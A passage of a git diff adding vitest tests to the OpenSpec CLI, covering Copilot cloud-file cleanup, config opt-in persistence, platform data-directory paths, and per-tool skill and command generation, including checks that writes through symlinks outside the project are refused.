COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, `${generateCopilotSetupSteps()}\n# custom change\n`); + await fs.writeFile(agentPath, `${generateCopilotAgentFile()}\ncustom change\n`); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(0); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toContain('custom change'); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toContain('custom change'); + }); + + it('removes markerless current generated cloud files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, removeManagedMarker(generateCopilotSetupSteps())); + await fs.writeFile(agentPath, removeManagedMarker(generateCopilotAgentFile())); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(2); + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(agentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('removes markerless legacy generated cloud files', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const currentAgentContent = removeManagedMarker(generateCopilotAgentFile()); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, removeManagedMarker(generateCopilotSetupSteps())); + await fs.writeFile(agentPath, MARKERLESS_LEGACY_COPILOT_AGENT_FILE); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(MARKERLESS_LEGACY_COPILOT_AGENT_FILE).not.toBe(currentAgentContent); + expect(MARKERLESS_LEGACY_COPILOT_AGENT_FILE).toContain(' - "terminal"'); + expect(removed).toBe(2); + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(agentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('removes current and legacy generated cloud files with CRLF line endings', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(setupStepsPath, withCrLf(generateCopilotSetupSteps())); + await fs.writeFile(agentPath, withCrLf(MARKERLESS_LEGACY_COPILOT_AGENT_FILE)); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(2); + await expect(fs.stat(setupStepsPath)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(fs.stat(agentPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('keeps customized cloud files with CRLF line endings', async () => { + const agentPath = path.join(tempDir, COPILOT_CLOUD_FILES.agent); + const customizedContent = withCrLf(`${generateCopilotAgentFile()}\ncustom change\n`); + await fs.mkdir(path.dirname(agentPath), { recursive: true }); + await fs.writeFile(agentPath, customizedContent); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(0); + await expect(fs.readFile(agentPath, 'utf8')).resolves.toBe(customizedContent); + }); + + it('preserves the alternate user-owned agent during cleanup', async () => { + const alternateAgentPath = path.join(tempDir, '.github', 'agents', 'openspec.md'); + const customAgent = 'user-owned OpenSpec agent\n'; + await fs.mkdir(path.dirname(alternateAgentPath), { recursive: true }); + await fs.writeFile(alternateAgentPath, customAgent); + + const removed = await removeCopilotCloudFiles(tempDir); + + expect(removed).toBe(0); + await expect(fs.readFile(alternateAgentPath, 'utf8')).resolves.toBe(customAgent); + }); + + it('preflights nested linked paths before removing any managed file', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + const agentsDir = path.join(tempDir, '.github', 'agents'); + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-copilot-outside-')); + const outsideAgentPath = path.join(outsideDir, 'openspec.agent.md'); + const setupStepsContent = generateCopilotSetupSteps(); + const agentContent = generateCopilotAgentFile(); + + try { + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.writeFile(setupStepsPath, setupStepsContent); + await fs.writeFile(outsideAgentPath, agentContent); + await fs.symlink( + outsideDir, + agentsDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + await expect(removeCopilotCloudFiles(tempDir)).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await expect(fs.readFile(setupStepsPath, 'utf8')).resolves.toBe(setupStepsContent); + await expect(fs.readFile(outsideAgentPath, 'utf8')).resolves.toBe(agentContent); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('refuses to remove managed cloud files through a linked .github directory', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-copilot-outside-')); + const outsideSetupStepsPath = path.join( + outsideDir, + 'workflows', + 'copilot-setup-steps.yml' + ); + const outsideAgentPath = path.join(outsideDir, 'agents', 'openspec.agent.md'); + const setupStepsContent = generateCopilotSetupSteps(); + const agentContent = generateCopilotAgentFile(); + + try { + await fs.mkdir(path.dirname(outsideSetupStepsPath), { recursive: true }); + await fs.mkdir(path.dirname(outsideAgentPath), { recursive: true }); + await fs.writeFile(outsideSetupStepsPath, setupStepsContent); + await fs.writeFile(outsideAgentPath, agentContent); + await linkDirectoryOutsideProject(outsideDir); + + await expect(removeCopilotCloudFiles(tempDir)).rejects.toThrow( + 'Path is outside the allowed directory' + ); + await expect(fs.readFile(outsideSetupStepsPath, 'utf8')).resolves.toBe( + setupStepsContent + ); + await expect(fs.readFile(outsideAgentPath, 'utf8')).resolves.toBe(agentContent); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + }); + + describe('cloud opt-in', () => { + const CONFIG_WITH_COMMENTS = `schema: spec-driven + +# Project context (optional) +context: | + Tech stack: TypeScript +`; + + async function writeConfig(content: string): Promise<string> { + const configPath = path.join(tempDir, 'openspec', 'config.yaml'); + await fs.mkdir(path.dirname(configPath), { recursive: true }); + await fs.writeFile(configPath, content); + return configPath; + } + + describe('readCopilotCloudOptIn', () => { + it('returns undefined when there is no config', () => { + expect(readCopilotCloudOptIn(tempDir)).toBeUndefined(); + }); + + it('reads an explicit opt-in and opt-out', async () => { + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: true\n`); + expect(readCopilotCloudOptIn(tempDir)).toBe(true); + + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: false\n`); + expect(readCopilotCloudOptIn(tempDir)).toBe(false); + }); + + it('treats a non-boolean value as undecided', async () => { + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: "yes"\n`); + expect(readCopilotCloudOptIn(tempDir)).toBeUndefined(); + }); + }); + + describe('persistCopilotCloudOptIn', () => { + it('writes the nested key while preserving existing comments and content', async () => { + const configPath = await writeConfig(CONFIG_WITH_COMMENTS); + + await persistCopilotCloudOptIn(tempDir, true); + + const written = await fs.readFile(configPath, 'utf8'); + expect(written).toContain('# Project context (optional)'); + expect(written).toContain('Tech stack: TypeScript'); + expect(parse(written)).toMatchObject({ + schema: 'spec-driven', + githubCopilot: { cloudAgent: true }, + }); + // Round-trips through the reader. + expect(readCopilotCloudOptIn(tempDir)).toBe(true); + }); + + it('flips an existing decision in place', async () => { + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: true\n`); + await persistCopilotCloudOptIn(tempDir, false); + expect(readCopilotCloudOptIn(tempDir)).toBe(false); + }); + + it('is a no-op when no config file exists', async () => { + await persistCopilotCloudOptIn(tempDir, true); + await expect( + fs.stat(path.join(tempDir, 'openspec', 'config.yaml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('persists into and reads from config.yml when only .yml exists', async () => { + const ymlPath = path.join(tempDir, 'openspec', 'config.yml'); + await fs.mkdir(path.dirname(ymlPath), { recursive: true }); + await fs.writeFile(ymlPath, `${CONFIG_WITH_COMMENTS}`); + + await persistCopilotCloudOptIn(tempDir, true); + + // No sibling .yaml was created; the .yml file was edited in place. + await expect( + fs.stat(path.join(tempDir, 'openspec', 'config.yaml')) + ).rejects.toMatchObject({ code: 'ENOENT' }); + const written = await fs.readFile(ymlPath, 'utf8'); + expect(written).toContain('# Project context (optional)'); + expect(written).toContain('cloudAgent: true'); + expect(readCopilotCloudOptIn(tempDir)).toBe(true); + }); + + it('does not throw on a scalar-content config and writes a valid map', async () => { + // A degenerate config whose top-level node is a bare scalar used to + // throw "Expected a YAML collection as document contents". + await writeConfig('null\n'); + await expect(persistCopilotCloudOptIn(tempDir, false)).resolves.toBeUndefined(); + expect(readCopilotCloudOptIn(tempDir)).toBe(false); + }); + + it('does not throw on a sequence-root config and writes a valid map', async () => { + // A YAML list at the root is also not a map: setIn would throw, so it + // must be replaced with a fresh document rather than crash. + await writeConfig('- a\n- b\n'); + await expect(persistCopilotCloudOptIn(tempDir, true)).resolves.toBeUndefined(); + expect(readCopilotCloudOptIn(tempDir)).toBe(true); + }); + + it('leaves an unparseable config untouched instead of throwing', async () => { + // A multi-document stream can't be edited without corrupting it; persist + // must skip it (no throw, no clobber) rather than crash. + const malformed = '---\na: 1\n---\nb: 2\n'; + const configPath = await writeConfig(malformed); + + await expect(persistCopilotCloudOptIn(tempDir, true)).resolves.toBeUndefined(); + + expect(await fs.readFile(configPath, 'utf8')).toBe(malformed); + }); + + it('does not throw when the githubCopilot node itself is not a map', async () => { + // Root is a valid map, but `githubCopilot` holds a scalar/null/sequence: + // descending into it with setIn used to throw. Each must be replaced + // with a map, keeping the rest of the config (and its comments) intact. + for (const bad of [ + 'githubCopilot: false', + 'githubCopilot: null', + 'githubCopilot:\n - a\n - b', + ]) { + await writeConfig(`schema: spec-driven\n# keep me\n${bad}\n`); + await expect(persistCopilotCloudOptIn(tempDir, true)).resolves.toBeUndefined(); + expect(readCopilotCloudOptIn(tempDir)).toBe(true); + const written = await fs.readFile( + path.join(tempDir, 'openspec', 'config.yaml'), + 'utf8' + ); + expect(written).toContain('# keep me'); + expect(written).toContain('schema: spec-driven'); + } + }); + }); + + describe('listManagedCloudFiles', () => { + it('is empty on a clean project and lists managed files after a write', async () => { + await expect(listManagedCloudFiles(tempDir)).resolves.toEqual([]); + await writeCopilotCloudFiles(tempDir); + await expect(listManagedCloudFiles(tempDir)).resolves.toEqual([ + COPILOT_CLOUD_FILES.setupSteps, + COPILOT_CLOUD_FILES.agent, + ]); + }); + + it('excludes a user-owned (non-managed) file', async () => { + await writeCopilotCloudFiles(tempDir); + await fs.writeFile( + path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps), + 'name: my own build workflow\n' + ); + await expect(listManagedCloudFiles(tempDir)).resolves.toEqual([COPILOT_CLOUD_FILES.agent]); + }); + }); + + describe('findUnmanagedCloudFiles', () => { + it('is empty on a clean project and after a managed write', async () => { + await expect(findUnmanagedCloudFiles(tempDir)).resolves.toEqual([]); + await writeCopilotCloudFiles(tempDir); + await expect(findUnmanagedCloudFiles(tempDir)).resolves.toEqual([]); + }); + + it('reports a user-owned (non-managed) file that would be left untouched', async () => { + const setupStepsPath = path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps); + await fs.mkdir(path.dirname(setupStepsPath), { recursive: true }); + await fs.writeFile(setupStepsPath, 'name: my own build workflow\n'); + + await expect(findUnmanagedCloudFiles(tempDir)).resolves.toEqual([ + COPILOT_CLOUD_FILES.setupSteps, + ]); + }); + }); + + describe('hasExistingManagedCloudFiles', () => { + it('is false on a clean project', async () => { + await expect(hasExistingManagedCloudFiles(tempDir)).resolves.toBe(false); + }); + + it('is true when a managed file exists, false for a purely customized one', async () => { + await writeCopilotCloudFiles(tempDir); + await expect(hasExistingManagedCloudFiles(tempDir)).resolves.toBe(true); + + // Replace both managed files with customized content: no longer "managed". + await fs.writeFile( + path.join(tempDir, COPILOT_CLOUD_FILES.setupSteps), + 'name: my own workflow\n' + ); + await fs.writeFile( + path.join(tempDir, COPILOT_CLOUD_FILES.agent), + 'my own agent instructions\n' + ); + await expect(hasExistingManagedCloudFiles(tempDir)).resolves.toBe(false); + }); + }); + + describe('isCopilotCloudEnabled', () => { + it('honors an explicit opt-out even when managed files exist', async () => { + await writeCopilotCloudFiles(tempDir); + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: false\n`); + await expect(isCopilotCloudEnabled(tempDir)).resolves.toBe(false); + }); + + it('honors an explicit opt-in with no files yet', async () => { + await writeConfig(`${CONFIG_WITH_COMMENTS}githubCopilot:\n cloudAgent: true\n`); + await expect(isCopilotCloudEnabled(tempDir)).resolves.toBe(true); + }); + + it('falls back to existing managed files when undecided (migration)', async () => { + await writeCopilotCloudFiles(tempDir); + await expect(isCopilotCloudEnabled(tempDir)).resolves.toBe(true); + }); + + it('is false when undecided and no managed files exist', async () => { + await expect(isCopilotCloudEnabled(tempDir)).resolves.toBe(false); + }); + }); + }); +}); diff --git a/test/core/global-config.test.ts b/test/core/global-config.test.ts index 71668c7ff3..978b6c5b86 100644 --- a/test/core/global-config.test.ts +++ b/test/core/global-config.test.ts @@ -6,6 +6,7 @@ import * as os from 'node:os'; import { getGlobalConfigDir, getGlobalConfigPath, + getGlobalDataDir, getGlobalConfig, saveGlobalConfig, GLOBAL_CONFIG_DIR_NAME, @@ -20,8 +21,7 @@ describe('global-config', () => { beforeEach(() => { // Create temp directory for tests - tempDir = path.join(os.tmpdir(), `openspec-global-config-test-${Date.now()}`); - fs.mkdirSync(tempDir, { recursive: true }); + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-global-config-test-')); // Save original env originalEnv = { ...process.env }; @@ -95,6 +95,44 @@ describe('global-config', () => { }); }); + describe('getGlobalDataDir', () => { + it('should use POSIX separators for Unix-like platform overrides', () => { + expect( + getGlobalDataDir({ + env: {}, + platform: 'linux', + homedir: '/home/tabish', + }) + ).toBe('/home/tabish/.local/share/openspec'); + + expect( + getGlobalDataDir({ + env: { XDG_DATA_HOME: '/var/data' }, + platform: 'darwin', + homedir: '/Users/tabish', + }) + ).toBe('/var/data/openspec'); + }); + + it('should use Windows separators for native Windows platform overrides', () => { + expect( + getGlobalDataDir({ + env: {}, + platform: 'win32', + homedir: 'C:\\Users\\Tabish', + }) + ).toBe('C:\\Users\\Tabish\\AppData\\Local\\openspec'); + + expect( + getGlobalDataDir({ + env: { LOCALAPPDATA: 'D:\\Users\\Tabish\\AppData\\Local' }, + platform: 'win32', + homedir: 'C:\\Users\\Tabish', + }) + ).toBe('D:\\Users\\Tabish\\AppData\\Local\\openspec'); + }); + }); + describe('getGlobalConfig', () => { it('should return defaults when config file does not exist', () => { process.env.XDG_CONFIG_HOME = tempDir; diff --git a/test/core/init.test.ts b/test/core/init.test.ts index c2499e4d65..55e611f762 100644 --- a/test/core/init.test.ts +++ b/test/core/init.test.ts @@ -29,13 +29,14 @@ describe('InitCommand', () => { let originalEnv: NodeJS.ProcessEnv; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-init-test-${Date.now()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-init-test-')); originalEnv = { ...process.env }; // Use a temp dir for global config to avoid reading real config - configTempDir = path.join(os.tmpdir(), `openspec-config-init-${Date.now()}`); - await fs.mkdir(configTempDir, { recursive: true }); + configTempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-config-init-')); process.env.XDG_CONFIG_HOME = configTempDir; + process.env.CODEX_HOME = path.join(testDir, 'codex-home'); + process.env.HOME = path.join(testDir, 'home'); + process.env.USERPROFILE = path.join(testDir, 'home'); // Mock console.log to suppress output during tests vi.spyOn(console, 'log').mockImplementation(() => { }); @@ -82,11 +83,13 @@ describe('InitCommand', () => { await initCommand.execute(testDir); - // Core profile: propose, explore, apply, archive + // Core profile: propose, explore, apply, update, sync, archive const coreSkillNames = [ 'openspec-propose', 'openspec-explore', 'openspec-apply-change', + 'openspec-update-change', + 'openspec-sync-specs', 'openspec-archive-change', ]; @@ -105,7 +108,6 @@ describe('InitCommand', () => { 'openspec-new-change', 'openspec-continue-change', 'openspec-ff-change', - 'openspec-sync-specs', 'openspec-bulk-archive-change', 'openspec-verify-change', ]; @@ -121,11 +123,13 @@ describe('InitCommand', () => { await initCommand.execute(testDir); - // Core profile: propose, explore, apply, archive + // Core profile: propose, explore, apply, update, sync, archive const coreCommandNames = [ 'opsx/propose.md', 'opsx/explore.md', 'opsx/apply.md', + 'opsx/update.md', + 'opsx/sync.md', 'opsx/archive.md', ]; @@ -139,7 +143,6 @@ describe('InitCommand', () => { 'opsx/new.md', 'opsx/continue.md', 'opsx/ff.md', - 'opsx/sync.md', 'opsx/bulk-archive.md', 'opsx/verify.md', ]; @@ -150,6 +153,193 @@ describe('InitCommand', () => { } }); + it('should not write generated artifacts through a linked tool directory outside the project', async () => { + const outsideDir = path.join(configTempDir, 'outside-claude'); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.symlink( + outsideDir, + path.join(testDir, '.claude'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await expect(initCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec setup failed for: Claude Code' + ); + + expect(await fs.readdir(outsideDir)).toEqual([]); + expect((await fs.lstat(path.join(testDir, '.claude'))).isSymbolicLink()).toBe(true); + expect(vi.mocked(console.log).mock.calls.flat().join('\n')).toContain( + 'OpenSpec Setup Incomplete' + ); + }); + + it('should not create Copilot cloud files when GitHub Copilot setup fails', async () => { + const outsideDir = path.join(configTempDir, 'outside-github'); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.symlink( + outsideDir, + path.join(testDir, '.github'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + + const initCommand = new InitCommand({ + tools: 'github-copilot', + force: true, + copilotCloud: true, + }); + await expect(initCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec setup failed for: GitHub Copilot' + ); + + expect(await fs.readdir(outsideDir)).toEqual([]); + expect((await fs.lstat(path.join(testDir, '.github'))).isSymbolicLink()).toBe(true); + expect(vi.mocked(console.log).mock.calls.flat().join('\n')).toContain( + 'OpenSpec Setup Incomplete' + ); + }); + + it.skipIf(process.platform === 'win32')('should not overwrite a generated artifact symlink outside the project', async () => { + const outsideFile = path.join(configTempDir, 'outside-skill.md'); + const originalContent = 'keep me\n'; + await fs.writeFile(outsideFile, originalContent); + const skillFile = path.join( + testDir, + '.claude', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.symlink(outsideFile, skillFile, 'file'); + + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await expect(initCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec setup failed for: Claude Code' + ); + + expect(await fs.readFile(outsideFile, 'utf-8')).toBe(originalContent); + expect((await fs.lstat(skillFile)).isSymbolicLink()).toBe(true); + }); + + it('should not write MiniMax skills through a linked directory outside the global skills root', async () => { + const outsideDir = path.join(configTempDir, 'outside-minimax'); + const skillsRoot = path.join(testDir, 'home', '.minimax', 'skills'); + const linkedSkillDir = path.join(skillsRoot, 'openspec-propose'); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.mkdir(skillsRoot, { recursive: true }); + await fs.symlink( + outsideDir, + linkedSkillDir, + process.platform === 'win32' ? 'junction' : 'dir' + ); + + const initCommand = new InitCommand({ tools: 'minimax-code', force: true }); + await expect(initCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec setup failed for: MiniMax Code' + ); + + expect(await fs.readdir(outsideDir)).toEqual([]); + expect((await fs.lstat(linkedSkillDir)).isSymbolicLink()).toBe(true); + expect(vi.mocked(console.log).mock.calls.flat().join('\n')).toContain( + 'OpenSpec Setup Incomplete' + ); + }); + + it('should generate safe Claude workflow guidance (#1493)', async () => { + const initCommand = new InitCommand({ tools: 'claude', force: true }); + + await initCommand.execute(testDir); + + const generatedFiles = [ + ...[ + 'openspec-propose', + 'openspec-explore', + 'openspec-apply-change', + 'openspec-update-change', + 'openspec-sync-specs', + 'openspec-archive-change', + ].map((name) => path.join(testDir, '.claude', 'skills', name, 'SKILL.md')), + ...['propose', 'explore', 'apply', 'update', 'sync', 'archive'].map((name) => + path.join(testDir, '.claude', 'commands', 'opsx', `${name}.md`) + ), + ]; + const generatedContents = await Promise.all( + generatedFiles.map((file) => fs.readFile(file, 'utf-8')) + ); + + for (const content of generatedContents) { + expect(content).toContain( + 'treat `--store <id>` as sticky for the rest of the workflow' + ); + expect(content).toContain( + 'openspec status --change "<name>" --json --store "<id>"' + ); + } + + const updateVariants: Array<[string, string]> = [ + [ + await fs.readFile( + path.join( + testDir, + '.claude', + 'skills', + 'openspec-update-change', + 'SKILL.md' + ), + 'utf-8' + ), + '`/opsx:continue`', + ], + [ + await fs.readFile( + path.join(testDir, '.claude', 'commands', 'opsx', 'update.md'), + 'utf-8' + ), + '`/opsx:continue`', + ], + ]; + + for (const [content, continueReference] of updateVariants) { + const availabilityGuidance = content.indexOf( + `${continueReference} is an expanded-profile workflow and may not be installed` + ); + const nextReference = content.indexOf( + continueReference, + availabilityGuidance + continueReference.length + ); + + expect(availabilityGuidance).toBeGreaterThanOrEqual(0); + expect(content.indexOf(continueReference)).toBe(availabilityGuidance); + expect(nextReference).toBeGreaterThan(availabilityGuidance); + expect(content).toContain('openspec status --change "<name>" --json'); + expect(content).toContain( + 'openspec instructions "<artifact-id>" --change "<name>" --json' + ); + } + + const syncFiles = [ + path.join(testDir, '.claude', 'skills', 'openspec-sync-specs', 'SKILL.md'), + path.join(testDir, '.claude', 'commands', 'opsx', 'sync.md'), + ]; + + for (const file of syncFiles) { + const content = await fs.readFile(file, 'utf-8'); + const mutationsComplete = content.indexOf( + 'Follow the **Main Spec Format Reference** below' + ); + const validation = content.indexOf('openspec validate --specs'); + const summary = content.indexOf('6. **Show summary**'); + + expect(mutationsComplete).toBeGreaterThanOrEqual(0); + expect(validation).toBeGreaterThan(mutationsComplete); + expect(summary).toBeGreaterThan(validation); + expect(content).toContain( + 'If validation fails, report the problems and do not claim the sync succeeded' + ); + } + }); + it('should create skills in Cursor skills directory', async () => { const initCommand = new InitCommand({ tools: 'cursor', force: true }); @@ -159,13 +349,371 @@ describe('InitCommand', () => { expect(await fileExists(skillFile)).toBe(true); }); - it('should create skills in Windsurf skills directory', async () => { + it('should route the retired windsurf id to Devin Desktop', async () => { + // Windsurf was rebranded to Devin Desktop; `--tools windsurf` still + // resolves so an existing setup script keeps working, but it configures + // the current tool and writes the current directory. const initCommand = new InitCommand({ tools: 'windsurf', force: true }); await initCommand.execute(testDir); - const skillFile = path.join(testDir, '.windsurf', 'skills', 'openspec-explore', 'SKILL.md'); + const skillFile = path.join(testDir, '.devin', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + expect( + await fileExists(path.join(testDir, '.windsurf', 'skills', 'openspec-explore', 'SKILL.md')) + ).toBe(false); + }); + + it('should generate ZCode skills and commands under .zcode without creating .agents', async () => { + const initCommand = new InitCommand({ tools: 'zcode', force: true }); + + await initCommand.execute(testDir); + + // Core profile skills land under .zcode/skills + const exploreSkill = path.join(testDir, '.zcode', 'skills', 'openspec-explore', 'SKILL.md'); + const proposeSkill = path.join(testDir, '.zcode', 'skills', 'openspec-propose', 'SKILL.md'); + expect(await fileExists(exploreSkill)).toBe(true); + expect(await fileExists(proposeSkill)).toBe(true); + + // Core profile commands land under .zcode/commands/opsx + const exploreCmd = path.join(testDir, '.zcode', 'commands', 'opsx', 'explore.md'); + const proposeCmd = path.join(testDir, '.zcode', 'commands', 'opsx', 'propose.md'); + expect(await fileExists(exploreCmd)).toBe(true); + expect(await fileExists(proposeCmd)).toBe(true); + + const cmdContent = await fs.readFile(exploreCmd, 'utf-8'); + expect(cmdContent).toContain('---'); + expect(cmdContent).toContain('name:'); + expect(cmdContent).toContain('description:'); + expect(cmdContent).toContain('category:'); + expect(cmdContent).toContain('tags:'); + + // ZCode writes only to its own root; selecting it must never create another + // tool's root, including the shared .agents target. + expect(await directoryExists(path.join(testDir, '.agents'))).toBe(false); + }); + + it('should support the shared agents target as an adapterless skills-only tool', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'agents', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md'); expect(await fileExists(skillFile)).toBe(true); + + const commandsDir = path.join(testDir, '.agents', 'commands'); + expect(await directoryExists(commandsDir)).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + expect( + logCalls.some( + (entry) => entry.includes('Commands skipped for: agents') && entry.includes('(no adapter)'), + ), + ).toBe(true); + }); + + it('should install MiniMax Code skills only in the user-home target', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'minimax-code', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + expect(await fileExists(skillFile)).toBe(true); + expect(await directoryExists(path.join(testDir, '.minimax'))).toBe(false); + expect(await directoryExists(path.join(testDir, '.mavis'))).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls + .flat() + .map(String); + expect( + logCalls.some( + (entry) => + entry.includes('Commands skipped for: minimax-code') && + entry.includes('(no adapter)') + ) + ).toBe(true); + expect( + logCalls.some((entry) => entry.includes('commands in') && entry.includes('.minimax')) + ).toBe(false); + }); + + it('should preserve global MiniMax Code skills for commands-only delivery', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const skillFile = path.join( + testDir, + 'home', + '.minimax', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(skillFile), { recursive: true }); + await fs.writeFile(skillFile, 'existing global skill'); + + const initCommand = new InitCommand({ tools: 'minimax-code', force: true }); + await initCommand.execute(testDir); + + expect(await fs.readFile(skillFile, 'utf-8')).toBe('existing global skill'); + expect(await directoryExists(path.join(testDir, '.minimax'))).toBe(false); + }); + + it('should support Kimi Code as an adapterless skills-only tool', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'kimi', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.kimi-code', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const commandsDir = path.join(testDir, '.kimi-code', 'commands'); + expect(await directoryExists(commandsDir)).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + expect( + logCalls.some( + (entry) => entry.includes('Commands skipped for: kimi') && entry.includes('(no adapter)'), + ), + ).toBe(true); + }); + + it('should support CodeArts as an adapterless skills-only tool', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'codeartsagent', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.codeartsdoer', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const commandsDir = path.join(testDir, '.codeartsdoer', 'commands'); + expect(await directoryExists(commandsDir)).toBe(false); + + const codeArtsLogCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + expect(codeArtsLogCalls.some((entry) => entry.includes('Created: CodeArts'))).toBe(true); + expect( + codeArtsLogCalls.some( + (entry) => entry.includes('Commands skipped for: codeartsagent') && entry.includes('(no adapter)'), + ), + ).toBe(true); + }); + + it('should support Rovo Dev CLI as an adapterless skills-only tool', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'both', + }); + + const initCommand = new InitCommand({ tools: 'rovodev', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.rovodev', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + const commandsDir = path.join(testDir, '.rovodev', 'commands'); + expect(await directoryExists(commandsDir)).toBe(false); + + // Rovo has no slash-command surface: skills are invoked by natural + // language, so no generated skill may tell the user to type a + // `/openspec-*` or `/opsx…` command that its CLI never registers. + const skillsRoot = path.join(testDir, '.rovodev', 'skills'); + const skillDirs = await fs.readdir(skillsRoot); + expect(skillDirs.length).toBeGreaterThan(0); + for (const dir of skillDirs) { + const body = await fs.readFile(path.join(skillsRoot, dir, 'SKILL.md'), 'utf-8'); + expect(body, `${dir}/SKILL.md should not reference /openspec-* commands`).not.toMatch(/\/openspec-/); + expect(body, `${dir}/SKILL.md should not reference /opsx commands`).not.toMatch(/\/opsx[:-]/); + } + // The apply skill hands off to other workflows; confirm the handoff is + // spelled as a natural-language skill reference. + const applyBody = await fs.readFile( + path.join(skillsRoot, 'openspec-apply-change', 'SKILL.md'), + 'utf-8', + ); + expect(applyBody).toMatch(/the openspec-archive-change skill/); + + const rovoLogCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + expect(rovoLogCalls.some((entry) => entry.includes('Created: Rovo 